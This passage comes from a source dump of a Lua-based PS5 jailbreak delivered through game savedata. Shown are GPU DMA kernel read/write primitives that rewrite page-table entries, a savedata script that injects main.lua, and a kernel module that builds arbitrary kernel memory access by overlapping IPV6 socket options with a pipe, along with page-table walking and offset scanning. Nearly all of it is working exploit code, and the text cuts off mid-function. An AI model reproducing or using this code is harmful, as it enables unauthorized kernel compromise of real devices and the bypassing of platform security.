50 | if gpu_pde_field(pdpe, "VALID") ~= 1 then 51 | return nil 52 | end 53 | 54 | -- PDB0 55 | 56 | local pd_base_pa = bit64.band(pdpe, GPU_PDE_ADDR_MASK) 57 | local pde_va = phys_to_dmap(pd_base_pa) + pde_index * 8 58 | local pde = kernel.read_qword(pde_va) 59 | 60 | if gpu_pde_field(pde, "VALID") ~= 1 then 61 | return nil 62 | end 63 | 64 | if gpu_pde_field(pde, "IS_PTE") == 1 then 65 | return pde_va, 0x200000 -- 2mb 66 | end 67 | 68 | -- PTB 69 | 70 | local fragment_size = gpu_pde_field(pde, "BLOCK_FRAGMENT_SIZE") 71 | local offset = bit64.band(virt_addr, 0x1fffff) 72 | local pt_base_pa = bit64.band(pde, GPU_PDE_ADDR_MASK) 73 | 74 | local pte_index, pte 75 | local pte_va, page_size 76 | 77 | if fragment_size == 4 then 78 | pte_index = bit64.rshift(offset, 16) 79 | pte_va = phys_to_dmap(pt_base_pa) + pte_index * 8 80 | pte = kernel.read_qword(pte_va) 81 | 82 | if gpu_pde_field(pte, "VALID") == 1 and gpu_pde_field(pte, "TF") == 1 then 83 | pte_index = bit64.rshift(bit64.band(virt_addr, 0xffff), 13) 84 | pte_va = phys_to_dmap(pt_base_pa) + pte_index * 8 85 | page_size = 0x2000 -- 8kb 86 | else 87 | page_size = 0x10000 -- 64kb 88 | end 89 | 90 | elseif fragment_size == 1 then 91 | pte_index = bit64.rshift(offset, 13) 92 | pte_va = phys_to_dmap(pt_base_pa) + pte_index * 8 93 | page_size = 0x2000 -- 8kb 94 | end 95 | 96 | return pte_va, page_size 97 | end 98 | 99 | 100 | 101 | 102 | 103 | -- kernel r/w primitives based on GPU DMA 104 | 105 | gpu = {} 106 | 107 | gpu.dmem_size = 2 * 0x100000 -- 2mb 108 | 109 | function gpu.setup() 110 | 111 | check_jailbroken() 112 | 113 | local libSceGnmDriver = find_mod_by_name("libSceGnmDriverForNeoMode.sprx") 114 | 115 | -- put these into global to make life easier 116 | sceKernelAllocateMainDirectMemory = fcall(dlsym(LIBKERNEL_HANDLE, "sceKernelAllocateMainDirectMemory")) 117 | sceKernelMapDirectMemory = fcall(dlsym(LIBKERNEL_HANDLE, "sceKernelMapDirectMemory")) 118 | sceGnmSubmitCommandBuffers = fcall(dlsym(libSceGnmDriver.handle, "sceGnmSubmitCommandBuffers")) 119 | sceGnmSubmitDone = fcall(dlsym(libSceGnmDriver.handle, "sceGnmSubmitDone")) 120 | 121 | local prot_ro = bit32.bor(PROT_READ, PROT_WRITE, GPU_READ) 122 | local prot_rw = bit32.bor(prot_ro, GPU_WRITE) 123 | 124 | local victim_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE) 125 | local transfer_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE) 126 | local cmd_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE) 127 | 128 | local curproc_cr3 = get_proc_cr3(kernel.addr.curproc) 129 | local victim_real_pa = virt_to_phys(victim_va, curproc_cr3) 130 | 131 | local victim_ptbe_va, page_size = get_ptb_entry_of_relative_va(victim_va) 132 | 133 | if not victim_ptbe_va or page_size ~= gpu.dmem_size then 134 | error("failed to setup gpu primitives") 135 | end 136 | 137 | if syscall.mprotect(victim_va, gpu.dmem_size, prot_ro):tonumber() == -1 then 138 | error("mprotect() error: " .. get_error_string()) 139 | end 140 | 141 | local initial_victim_ptbe_for_ro = kernel.read_qword(victim_ptbe_va) 142 | local cleared_victim_ptbe_for_ro = bit64.band(initial_victim_ptbe_for_ro, bit64.bnot(victim_real_pa)) 143 | 144 | -- printf("victim va %s real pa %s", hex(victim_va), hex(victim_real_pa)) 145 | -- printf("ptb entry %s page size %s", hex(victim_ptbe_va), hex(page_size)) 146 | -- printf("ptbe RO. initial %s cleared %s", hex(initial_victim_ptbe_for_ro), hex(cleared_victim_ptbe_for_ro)) 147 | 148 | gpu.victim_va = victim_va 149 | gpu.transfer_va = transfer_va 150 | gpu.cmd_va = cmd_va 151 | gpu.victim_ptbe_va = victim_ptbe_va 152 | gpu.cleared_victim_ptbe_for_ro = cleared_victim_ptbe_for_ro 153 | end 154 | 155 | function gpu.pm4_type3_header(opcode, count) 156 | 157 | assert(type(opcode) == "number") 158 | assert(type(count) == "number") 159 | 160 | local packet_type = 3 161 | local shader_type = 1 -- computer shader 162 | local predicate = 0 -- predicate disable 163 | 164 | return bit32.bor( 165 | bit32.band(predicate, 0x0), -- Predicated version of packet when set 166 | bit32.lshift(bit32.band(shader_type, 0x1), 1), -- 0: Graphics, 1: Compute Shader 167 | bit32.lshift(bit32.band(opcode, 0xff), 8), -- IT opcode 168 | bit32.lshift(bit32.band(count - 1, 0x3fff), 16), -- Number of DWORDs - 1 in the information body 169 | bit32.lshift(bit32.band(packet_type, 0x3), 30) -- Packet identifier. It should be 3 for type 3 packets 170 | ) 171 | end 172 | 173 | function gpu.pm4_dma_data(dest_va, src_va, length) 174 | 175 | local count = 6 176 | local bufsize = 4 * (count + 1) 177 | local opcode = 0x50 178 | local command_len = bit32.band(length, 0x1fffff) 179 | 180 | local pm4 = memory.alloc(bufsize) 181 | local dma_data_header = bit32.bor( 182 | bit32.band(0, 0x1), -- engine 183 | bit32.lshift(bit32.band(0, 0x1), 12), -- src_atc 184 | bit32.lshift(bit32.band(2, 0x3), 13), -- src_cache_policy 185 | bit32.lshift(bit32.band(1, 0x1), 15), -- src_volatile 186 | bit32.lshift(bit32.band(0, 0x3), 20), -- dst_sel (DmaDataDst enum) 187 | bit32.lshift(bit32.band(0, 0x1), 24), -- dst_atc 188 | bit32.lshift(bit32.band(2, 0x3), 25), -- dst_cache_policy 189 | bit32.lshift(bit32.band(1, 0x1), 27), -- dst_volatile 190 | bit32.lshift(bit32.band(0, 0x3), 29), -- src_sel (DmaDataSrc enum) 191 | bit32.lshift(bit32.band(1, 0x1), 31) -- cp_sync 192 | ) 193 | 194 | memory.write_dword(pm4, gpu.pm4_type3_header(opcode, count)) -- pm4 header 195 | memory.write_dword(pm4 + 0x4, dma_data_header) -- dma data header (copy: mem -> mem) 196 | memory.write_dword(pm4 + 0x8, src_va.l) 197 | memory.write_dword(pm4 + 0xc, src_va.h) 198 | memory.write_dword(pm4 + 0x10, dest_va.l) 199 | memory.write_dword(pm4 + 0x14, dest_va.h) 200 | memory.write_dword(pm4 + 0x18, command_len) 201 | 202 | return memory.read_buffer(pm4, bufsize) 203 | end 204 | 205 | function gpu.submit_dma_data_command(dest_va, src_va, size) 206 | 207 | local dcb_count = 1 208 | local dcb_gpu_addr = memory.alloc(dcb_count * 0x8) 209 | local dcb_sizes_in_bytes = memory.alloc(dcb_count * 0x4) 210 | 211 | -- prep command buf 212 | local dma_data = gpu.pm4_dma_data(dest_va, src_va, size) 213 | memory.write_buffer(gpu.cmd_va, dma_data) -- prep dma cmd 214 | 215 | -- prep param 216 | memory.write_qword(dcb_gpu_addr, gpu.cmd_va) 217 | memory.write_dword(dcb_sizes_in_bytes, #dma_data) 218 | 219 | -- submit to gpu 220 | local ret = sceGnmSubmitCommandBuffers(dcb_count, dcb_gpu_addr, dcb_sizes_in_bytes, 0, 0):tonumber() 221 | if ret ~= 0 then 222 | errorf("sceGnmSubmitCommandBuffers() error: %s", hex(ret)) 223 | end 224 | 225 | -- sleep for a while 226 | -- sleep(1) 227 | 228 | -- inform gpu that current submission is done 229 | ret = sceGnmSubmitDone():tonumber() 230 | if ret ~= 0 then 231 | errorf("sceGnmSubmitDone() error: %s", hex(ret)) 232 | end 233 | end 234 | 235 | function gpu.transfer_physical_buffer(phys_addr, size, is_write) 236 | 237 | local trunc_phys_addr = bit64.band(phys_addr, bit64.bnot(gpu.dmem_size - 1)) 238 | local offset = phys_addr - trunc_phys_addr 239 | 240 | if (offset:tonumber() + size > gpu.dmem_size) then 241 | error("error: trying to write more than direct memory size: " .. size) 242 | end 243 | 244 | local prot_ro = bit32.bor(PROT_READ, PROT_WRITE, GPU_READ) 245 | local prot_rw = bit32.bor(prot_ro, GPU_WRITE) 246 | 247 | -- remap PTD 248 | 249 | if syscall.mprotect(gpu.victim_va, gpu.dmem_size, prot_ro):tonumber() == -1 then 250 | error("mprotect() error: " .. get_error_string()) 251 | end 252 | 253 | local new_ptb = bit64.bor(gpu.cleared_victim_ptbe_for_ro, trunc_phys_addr) 254 | kernel.write_qword(gpu.victim_ptbe_va, new_ptb) 255 | 256 | if syscall.mprotect(gpu.victim_va, gpu.dmem_size, prot_rw):tonumber() == -1 then 257 | error("mprotect() error: " .. get_error_string()) 258 | end 259 | 260 | local src, dst 261 | 262 | if is_write then 263 | src = gpu.transfer_va 264 | dst = gpu.victim_va + offset 265 | else 266 | src = gpu.victim_va + offset 267 | dst = gpu.transfer_va 268 | end 269 | 270 | -- do the DMA operation 271 | gpu.submit_dma_data_command(dst, src, size) 272 | end 273 | 274 | function gpu.read_buffer(addr, size) 275 | 276 | local phys_addr = virt_to_phys(addr, kernel.addr.kernel_cr3) 277 | if not phys_addr then 278 | errorf("failed to translate %s to physical addr", hex(addr)) 279 | end 280 | 281 | gpu.transfer_physical_buffer(phys_addr, size, false) 282 | return memory.read_buffer(gpu.transfer_va, size) 283 | end 284 | 285 | function gpu.write_buffer(addr, buf) 286 | 287 | local phys_addr = virt_to_phys(addr, kernel.addr.kernel_cr3) 288 | if not phys_addr then 289 | errorf("failed to translate %s to physical addr", hex(addr)) 290 | end 291 | 292 | memory.write_buffer(gpu.transfer_va, buf) -- prepare data for write 293 | gpu.transfer_physical_buffer(phys_addr, #buf, true) 294 | end 295 | 296 | function gpu.read_byte(kaddr) 297 | local value = gpu.read_buffer(kaddr, 1) 298 | return value and #value == 1 and uint64.unpack(value) or nil 299 | end 300 | 301 | function gpu.read_word(kaddr) 302 | local value = gpu.read_buffer(kaddr, 2) 303 | return value and #value == 2 and uint64.unpack(value) or nil 304 | end 305 | 306 | function gpu.read_dword(kaddr) 307 | local value = gpu.read_buffer(kaddr, 4) 308 | return value and #value == 4 and uint64.unpack(value) or nil 309 | end 310 | 311 | function gpu.read_qword(kaddr) 312 | local value = gpu.read_buffer(kaddr, 8) 313 | return value and #value == 8 and uint64.unpack(value) or nil 314 | end 315 | 316 | function gpu.hex_dump(kaddr, size) 317 | size = size or 0x40 318 | return hex_dump(gpu.read_buffer(kaddr, size), kaddr) 319 | end 320 | 321 | function gpu.write_byte(dest, value) 322 | gpu.write_buffer(dest, ub8(value):sub(1,1)) 323 | end 324 | 325 | function gpu.write_word(dest, value) 326 | gpu.write_buffer(dest, ub8(value):sub(1,2)) 327 | end 328 | 329 | function gpu.write_dword(dest, value) 330 | gpu.write_buffer(dest, ub8(value):sub(1,4)) 331 | end 332 | 333 | function gpu.write_qword(dest, value) 334 | gpu.write_buffer(dest, ub8(value):sub(1,8)) 335 | end 336 | 337 | 338 | 339 | 340 | 341 | 342 | -- misc fns 343 | 344 | function alloc_main_dmem(size, prot, flag) 345 | 346 | assert(size and prot) 347 | 348 | local out = memory.alloc(0x8) 349 | local mem_type = 1 -- 1-10 350 | 351 | local ret = sceKernelAllocateMainDirectMemory(size, size, mem_type, out):tonumber() 352 | if ret ~= 0 then 353 | errorf("sceKernelAllocateMainDirectMemory() error %s", hex(ret)) 354 | end 355 | 356 | local phys_addr = memory.read_qword(out) 357 | 358 | memory.write_qword(out, 0) 359 | 360 | local ret = sceKernelMapDirectMemory(out, size, prot, flag, phys_addr, size):tonumber() 361 | if ret ~= 0 then 362 | errorf("sceKernelMapDirectMemory() error %s", hex(ret)) 363 | end 364 | 365 | local virt_addr = memory.read_qword(out) 366 | return virt_addr, phys_addr 367 | end 368 | 369 | function get_curproc_vmid() 370 | local vmspace = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_VM_SPACE) 371 | local vmid = kernel.read_dword(vmspace + kernel_offset.VMSPACE_VM_VMID) 372 | return vmid:tonumber() 373 | end 374 | 375 | function get_gvmspace(vmid) 376 | assert(vmid) 377 | local gvmspace_base = kernel.addr.data_base + kernel_offset.DATA_BASE_GVMSPACE 378 | return gvmspace_base + vmid * kernel_offset.SIZEOF_GVMSPACE 379 | end 380 | 381 | function get_pdb2_addr(vmid) 382 | local gvmspace = get_gvmspace(vmid) 383 | return kernel.read_qword(gvmspace + kernel_offset.GVMSPACE_PAGE_DIR_VA) 384 | end 385 | 386 | function get_relative_va(vmid, va) 387 | 388 | assert(is_uint64(va)) 389 | 390 | local gvmspace = get_gvmspace(vmid) 391 | 392 | local size = kernel.read_qword(gvmspace + kernel_offset.GVMSPACE_SIZE) 393 | local start_addr = kernel.read_qword(gvmspace + kernel_offset.GVMSPACE_START_VA) 394 | local end_addr = start_addr + size 395 | 396 | if va >= start_addr and va < end_addr then 397 | return va - start_addr 398 | end 399 | 400 | return nil 401 | end 402 | 403 | function get_ptb_entry_of_relative_va(virt_addr) 404 | 405 | local vmid = get_curproc_vmid() 406 | local relative_va = get_relative_va(vmid, virt_addr) 407 | 408 | if not relative_va then 409 | errorf("invalid virtual addr %s for vmid %d", hex(virt_addr), vmid) 410 | end 411 | 412 | return gpu_walk_pt(vmid, relative_va) 413 | end 414 | -------------------------------------------------------------------------------- /savedata/inject.iet: -------------------------------------------------------------------------------- 1 | *inject 2 | 3 | [save file="save9999.dat"] 4 | [lua] 5 | function include_lua() 6 | e:include(e:var("s.savepath").."/main.lua") 7 | end 8 | [/lua] 9 | 10 | [calllua function="include_lua"] 11 | 12 | [return] -------------------------------------------------------------------------------- /savedata/kernel.lua: -------------------------------------------------------------------------------- 1 | 2 | -- class for kernel memory r/w 3 | 4 | kernel = {} 5 | 6 | kernel.addr = {} 7 | 8 | -- these vars need to be defined for other fns to work properly 9 | kernel.copyout = nil 10 | kernel.copyin = nil 11 | kernel.read_buffer = nil 12 | kernel.write_buffer = nil 13 | 14 | function kernel.read_byte(kaddr) 15 | local value = kernel.read_buffer(kaddr, 1) 16 | return value and #value == 1 and uint64.unpack(value) or nil 17 | end 18 | 19 | function kernel.read_word(kaddr) 20 | local value = kernel.read_buffer(kaddr, 2) 21 | return value and #value == 2 and uint64.unpack(value) or nil 22 | end 23 | 24 | function kernel.read_dword(kaddr) 25 | local value = kernel.read_buffer(kaddr, 4) 26 | return value and #value == 4 and uint64.unpack(value) or nil 27 | end 28 | 29 | function kernel.read_qword(kaddr) 30 | local value = kernel.read_buffer(kaddr, 8) 31 | return value and #value == 8 and uint64.unpack(value) or nil 32 | end 33 | 34 | function kernel.hex_dump(kaddr, size) 35 | size = size or 0x40 36 | return hex_dump(kernel.read_buffer(kaddr, size), kaddr) 37 | end 38 | 39 | function kernel.read_null_terminated_string(kaddr) 40 | 41 | local result = "" 42 | 43 | while true do 44 | local chunk = kernel.read_buffer(kaddr, 0x8) 45 | local null_pos = chunk:find("\0") 46 | if null_pos then 47 | return result .. chunk:sub(1, null_pos - 1) 48 | end 49 | result = result .. chunk 50 | kaddr = kaddr + #chunk 51 | end 52 | 53 | if string.byte(result[1]) == 0 then 54 | return nil 55 | end 56 | 57 | return result 58 | end 59 | 60 | function kernel.write_byte(dest, value) 61 | kernel.write_buffer(dest, ub8(value):sub(1,1)) 62 | end 63 | 64 | function kernel.write_word(dest, value) 65 | kernel.write_buffer(dest, ub8(value):sub(1,2)) 66 | end 67 | 68 | function kernel.write_dword(dest, value) 69 | kernel.write_buffer(dest, ub8(value):sub(1,4)) 70 | end 71 | 72 | function kernel.write_qword(dest, value) 73 | kernel.write_buffer(dest, ub8(value):sub(1,8)) 74 | end 75 | 76 | 77 | 78 | 79 | 80 | -- provide fast kernel r/w through pipe pair & ipv6 81 | 82 | ipv6_kernel_rw = {} 83 | 84 | ipv6_kernel_rw.data = {} 85 | 86 | function ipv6_kernel_rw.init(ofiles, kread8, kwrite8) 87 | 88 | ipv6_kernel_rw.ofiles = ofiles 89 | ipv6_kernel_rw.kread8 = kread8 90 | ipv6_kernel_rw.kwrite8 = kwrite8 91 | 92 | ipv6_kernel_rw.create_pipe_pair() 93 | ipv6_kernel_rw.create_overlapped_ipv6_sockets() 94 | end 95 | 96 | function ipv6_kernel_rw.get_fd_data_addr(fd) 97 | local filedescent_addr = ipv6_kernel_rw.ofiles + fd * 0x30 98 | local file_addr = ipv6_kernel_rw.kread8(filedescent_addr + 0x0) -- fde_file 99 | return ipv6_kernel_rw.kread8(file_addr + 0x0) -- f_data 100 | end 101 | 102 | function ipv6_kernel_rw.create_pipe_pair() 103 | 104 | local read_fd, write_fd = create_pipe() 105 | 106 | ipv6_kernel_rw.data.pipe_read_fd = read_fd 107 | ipv6_kernel_rw.data.pipe_write_fd = write_fd 108 | ipv6_kernel_rw.data.pipe_addr = ipv6_kernel_rw.get_fd_data_addr(read_fd) 109 | ipv6_kernel_rw.data.pipemap_buffer = memory.alloc(0x14) 110 | ipv6_kernel_rw.data.read_mem = memory.alloc(PAGE_SIZE) 111 | end 112 | 113 | -- overlap the pktopts of two IPV6 sockets 114 | function ipv6_kernel_rw.create_overlapped_ipv6_sockets() 115 | 116 | local master_target_buffer = memory.alloc(0x14) 117 | local slave_buffer = memory.alloc(0x14) 118 | local pktinfo_size_store = memory.alloc(0x8) 119 | 120 | memory.write_qword(pktinfo_size_store, 0x14) 121 | 122 | local master_sock = syscall.socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP):tonumber() 123 | local victim_sock = syscall.socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP):tonumber() 124 | 125 | syscall.setsockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, master_target_buffer, 0x14) 126 | syscall.setsockopt(victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, slave_buffer, 0x14) 127 | 128 | local master_pcb = ipv6_kernel_rw.kread8(ipv6_kernel_rw.get_fd_data_addr(master_sock) + 0x18) 129 | local master_pktopts = ipv6_kernel_rw.kread8(master_pcb + 0x120) 130 | 131 | local slave_pcb = ipv6_kernel_rw.kread8(ipv6_kernel_rw.get_fd_data_addr(victim_sock) + 0x18) 132 | local slave_pktopts = ipv6_kernel_rw.kread8(slave_pcb + 0x120) 133 | 134 | -- magic 135 | ipv6_kernel_rw.kwrite8(master_pktopts + 0x10, slave_pktopts + 0x10) 136 | 137 | ipv6_kernel_rw.data.master_target_buffer = master_target_buffer 138 | ipv6_kernel_rw.data.slave_buffer = slave_buffer 139 | ipv6_kernel_rw.data.pktinfo_size_store = pktinfo_size_store 140 | ipv6_kernel_rw.data.master_sock = master_sock 141 | ipv6_kernel_rw.data.victim_sock = victim_sock 142 | end 143 | 144 | function ipv6_kernel_rw.ipv6_write_to_victim(kaddr) 145 | memory.write_qword(ipv6_kernel_rw.data.master_target_buffer, kaddr) 146 | memory.write_qword(ipv6_kernel_rw.data.master_target_buffer + 0x8, 0) 147 | memory.write_dword(ipv6_kernel_rw.data.master_target_buffer + 0x10, 0) 148 | syscall.setsockopt(ipv6_kernel_rw.data.master_sock, IPPROTO_IPV6, IPV6_PKTINFO, ipv6_kernel_rw.data.master_target_buffer, 0x14) 149 | end 150 | 151 | function ipv6_kernel_rw.ipv6_kread(kaddr, buffer_addr) 152 | ipv6_kernel_rw.ipv6_write_to_victim(kaddr) 153 | syscall.getsockopt(ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, buffer_addr, ipv6_kernel_rw.data.pktinfo_size_store) 154 | end 155 | 156 | function ipv6_kernel_rw.ipv6_kwrite(kaddr, buffer_addr) 157 | ipv6_kernel_rw.ipv6_write_to_victim(kaddr) 158 | syscall.setsockopt(ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, buffer_addr, 0x14) 159 | end 160 | 161 | function ipv6_kernel_rw.ipv6_kread8(kaddr) 162 | ipv6_kernel_rw.ipv6_kread(kaddr, ipv6_kernel_rw.data.slave_buffer) 163 | return memory.read_qword(ipv6_kernel_rw.data.slave_buffer) 164 | end 165 | 166 | function ipv6_kernel_rw.copyout(kaddr, uaddr, len) 167 | 168 | assert(kaddr and uaddr and len) 169 | 170 | memory.write_qword(ipv6_kernel_rw.data.pipemap_buffer, uint64("0x4000000040000000")) 171 | memory.write_qword(ipv6_kernel_rw.data.pipemap_buffer + 0x8, uint64("0x4000000000000000")) 172 | memory.write_dword(ipv6_kernel_rw.data.pipemap_buffer + 0x10, 0) 173 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer) 174 | 175 | memory.write_qword(ipv6_kernel_rw.data.pipemap_buffer, kaddr) 176 | memory.write_qword(ipv6_kernel_rw.data.pipemap_buffer + 0x8, 0) 177 | memory.write_dword(ipv6_kernel_rw.data.pipemap_buffer + 0x10, 0) 178 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr + 0x10, ipv6_kernel_rw.data.pipemap_buffer) 179 | 180 | syscall.read(ipv6_kernel_rw.data.pipe_read_fd, uaddr, len) 181 | end 182 | 183 | function ipv6_kernel_rw.copyin(uaddr, kaddr, len) 184 | 185 | assert(kaddr and uaddr and len) 186 | 187 | memory.write_qword(ipv6_kernel_rw.data.pipemap_buffer, 0) 188 | memory.write_qword(ipv6_kernel_rw.data.pipemap_buffer + 0x8, uint64("0x4000000000000000")) 189 | memory.write_dword(ipv6_kernel_rw.data.pipemap_buffer + 0x10, 0) 190 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer) 191 | 192 | memory.write_qword(ipv6_kernel_rw.data.pipemap_buffer, kaddr) 193 | memory.write_qword(ipv6_kernel_rw.data.pipemap_buffer + 0x8, 0) 194 | memory.write_dword(ipv6_kernel_rw.data.pipemap_buffer + 0x10, 0) 195 | ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr + 0x10, ipv6_kernel_rw.data.pipemap_buffer) 196 | 197 | syscall.write(ipv6_kernel_rw.data.pipe_write_fd, uaddr, len) 198 | end 199 | 200 | function ipv6_kernel_rw.read_buffer(kaddr, len) 201 | 202 | local mem = ipv6_kernel_rw.data.read_mem 203 | if len > PAGE_SIZE then 204 | mem = memory.alloc(len) 205 | end 206 | 207 | ipv6_kernel_rw.copyout(kaddr, mem, len) 208 | return memory.read_buffer(mem, len) 209 | end 210 | 211 | function ipv6_kernel_rw.write_buffer(kaddr, buf) 212 | ipv6_kernel_rw.copyin(lua.resolve_value(buf), kaddr, #buf) 213 | end 214 | 215 | 216 | 217 | 218 | 219 | -- cpu page table 220 | 221 | CPU_PDE = { 222 | PRESENT = 0, 223 | RW = 1, 224 | USER = 2, 225 | WRITE_THROUGH = 3, 226 | CACHE_DISABLE = 4, 227 | ACCESSED = 5, 228 | DIRTY = 6, 229 | PS = 7, 230 | GLOBAL = 8, 231 | XOTEXT = 58, 232 | PROTECTION_KEY = 59, 233 | EXECUTE_DISABLE = 63 234 | } 235 | 236 | CPU_PDE_MASKS = { 237 | PRESENT = 1, 238 | RW = 1, 239 | USER = 1, 240 | WRITE_THROUGH = 1, 241 | CACHE_DISABLE = 1, 242 | ACCESSED = 1, 243 | DIRTY = 1, 244 | PS = 1, 245 | GLOBAL = 1, 246 | XOTEXT = 1, 247 | PROTECTION_KEY = 0xf, 248 | EXECUTE_DISABLE = 1 249 | } 250 | 251 | CPU_PG_PHYS_FRAME = uint64("0x000ffffffffff000") 252 | CPU_PG_PS_FRAME = uint64("0x000fffffffe00000") 253 | 254 | function cpu_pde_field(pde, field) 255 | local shift = CPU_PDE[field] 256 | local mask = CPU_PDE_MASKS[field] 257 | return bit64.band(bit64.rshift(pde, shift), mask):tonumber() 258 | end 259 | 260 | function cpu_walk_pt(cr3, vaddr) 261 | 262 | assert(vaddr, cr3) 263 | 264 | local pml4e_index = bit64.band(bit64.rshift(vaddr, 39), 0x1ff) 265 | local pdpe_index = bit64.band(bit64.rshift(vaddr, 30), 0x1ff) 266 | local pde_index = bit64.band(bit64.rshift(vaddr, 21), 0x1ff) 267 | local pte_index = bit64.band(bit64.rshift(vaddr, 12), 0x1ff) 268 | 269 | -- pml4 270 | 271 | local pml4e = kernel.read_qword(phys_to_dmap(cr3) + pml4e_index * 8) 272 | if cpu_pde_field(pml4e, "PRESENT") ~= 1 then 273 | return nil 274 | end 275 | 276 | -- pdp 277 | 278 | local pdp_base_pa = bit64.band(pml4e, CPU_PG_PHYS_FRAME) 279 | local pdpe_va = phys_to_dmap(pdp_base_pa) + pdpe_index * 8 280 | local pdpe = kernel.read_qword(pdpe_va) 281 | 282 | if cpu_pde_field(pdpe, "PRESENT") ~= 1 then 283 | return nil 284 | end 285 | 286 | -- pd 287 | 288 | local pd_base_pa = bit64.band(pdpe, CPU_PG_PHYS_FRAME) 289 | local pde_va = phys_to_dmap(pd_base_pa) + pde_index * 8 290 | local pde = kernel.read_qword(pde_va) 291 | 292 | if cpu_pde_field(pde, "PRESENT") ~= 1 then 293 | return nil 294 | end 295 | 296 | -- large page 297 | if cpu_pde_field(pde, "PS") == 1 then 298 | return bit64.bor( 299 | bit64.band(pde, CPU_PG_PS_FRAME), 300 | bit64.band(vaddr, 0x1fffff) -- todo: remove hardcoded value 301 | ) 302 | end 303 | 304 | -- pt 305 | 306 | local pt_base_pa = bit64.band(pde, CPU_PG_PHYS_FRAME) 307 | local pte_va = phys_to_dmap(pt_base_pa) + pte_index * 8 308 | local pte = kernel.read_qword(pte_va) 309 | 310 | if cpu_pde_field(pte, "PRESENT") ~= 1 then 311 | return nil 312 | end 313 | 314 | return bit64.bor( 315 | bit64.band(pte, CPU_PG_PHYS_FRAME), 316 | bit64.band(vaddr, 0x3fff) 317 | ) 318 | end 319 | 320 | 321 | 322 | 323 | 324 | -- setup kernel r/w for the loader 325 | function initialize_kernel_rw() 326 | 327 | local state = storage.get("kernel_rw") 328 | if state then 329 | 330 | -- copy ipv6 states given by the exploit 331 | ipv6_kernel_rw.data = state.ipv6_kernel_rw_data 332 | 333 | -- copy existing resolved addresses from exploit 334 | kernel.addr = state.kernel_addr 335 | 336 | -- enable kernel r/w through ipv6 + pipe 337 | kernel.copyout = ipv6_kernel_rw.copyout 338 | kernel.copyin = ipv6_kernel_rw.copyin 339 | kernel.read_buffer = ipv6_kernel_rw.read_buffer 340 | kernel.write_buffer = ipv6_kernel_rw.write_buffer 341 | 342 | kernel.rw_initialized = true 343 | 344 | initialize_kernel_offsets() 345 | end 346 | end 347 | 348 | 349 | function initialize_kernel_offsets() 350 | 351 | kernel_offset = get_ps5_kernel_offset() 352 | 353 | -- find some structure offsets on runtime 354 | local offsets = find_offsets() 355 | 356 | for k,v in pairs(offsets) do 357 | kernel_offset[k] = v 358 | end 359 | 360 | end 361 | 362 | -- credit: @hammer-83 363 | function find_vmspace_pmap_offset() 364 | 365 | local vmspace = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_VM_SPACE) 366 | 367 | -- Note, this is the offset of vm_space.vm_map.pmap on 1.xx. 368 | -- It is assumed that on higher firmwares it's only increasing. 369 | local cur_scan_offset = 0x1C8 370 | 371 | for i=1,6 do 372 | local scan_val = kernel.read_qword(vmspace + cur_scan_offset + (i * 8)) 373 | local offset_diff = (scan_val - vmspace):tonumber() 374 | if offset_diff >= 0x2C0 and offset_diff <= 0x2F0 then 375 | return cur_scan_offset + (i * 8) 376 | end 377 | end 378 | 379 | error("failed to find VMSPACE_VM_PMAP offset") 380 | end 381 | 382 | 383 | -- credit: @hammer-83 384 | function find_vmspace_vmid_offset() 385 | 386 | local vmspace = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_VM_SPACE) 387 | 388 | -- Note, this is the offset of vm_space.vm_map.vmid on 1.xx. 389 | -- It is assumed that on higher firmwares it's only increasing. 390 | local cur_scan_offset = 0x1D4 391 | 392 | for i=1,8 do 393 | local scan_offset = cur_scan_offset + (i * 4) 394 | local scan_val = kernel.read_dword(vmspace + scan_offset):tonumber() 395 | if scan_val > 0 and scan_val <= 0x10 then 396 | return scan_offset 397 | end 398 | end 399 | 400 | error("failed to find VMSPACE_VM_VMID offset") 401 | end 402 | 403 | 404 | function find_proc_offsets() 405 | 406 | local proc_data = kernel.read_buffer(kernel.addr.curproc, 0x1000) 407 | local proc_data_addr = lua.resolve_value(proc_data) 408 | 409 | local p_comm_sign = find_pattern(proc_data, "ce fa ef be cc bb") 410 | local p_sysent_sign = find_pattern(proc_data, "ff ff ff ff ff ff ff 7f") 411 | 412 | if not p_comm_sign then 413 | error("failed to find offset for PROC_COMM") 414 | end 415 | 416 | if not p_sysent_sign then 417 | error("failed to find offset for PROC_SYSENT") 418 | end 419 | 420 | local p_comm_offset = p_comm_sign[1] - 1 + 0x8 421 | local p_sysent_offset = p_sysent_sign[1] - 1 - 0x10 422 | 423 | return { 424 | PROC_COMM = p_comm_offset, 425 | PROC_SYSENT = p_sysent_offset 426 | } 427 | end 428 | 429 | function find_offsets() 430 | 431 | check_jailbroken() 432 | 433 | local proc_offsets = find_proc_offsets() 434 | local vm_map_pmap_offset = find_vmspace_pmap_offset() 435 | local vm_map_vmid_offset = find_vmspace_vmid_offset() 436 | 437 | return { 438 | PROC_COMM = proc_offsets.PROC_COMM, 439 | PROC_SYSENT = proc_offsets.PROC_SYSENT, 440 | VMSPACE_VM_PMAP = vm_map_pmap_offset, 441 | VMSPACE_VM_VMID = vm_map_vmid_offset, 442 | } 443 | end 444 | 445 | 446 | 447 | 448 | 449 | -- useful functions 450 | 451 | function find_proc_by_name(name) 452 | 453 | check_jailbroken() 454 | 455 | local proc = kernel.read_qword(kernel.addr.allproc) 456 | while proc ~= uint64(0) do 457 | 458 | local proc_name = kernel.read_null_terminated_string(proc + kernel_offset.PROC_COMM) 459 | if 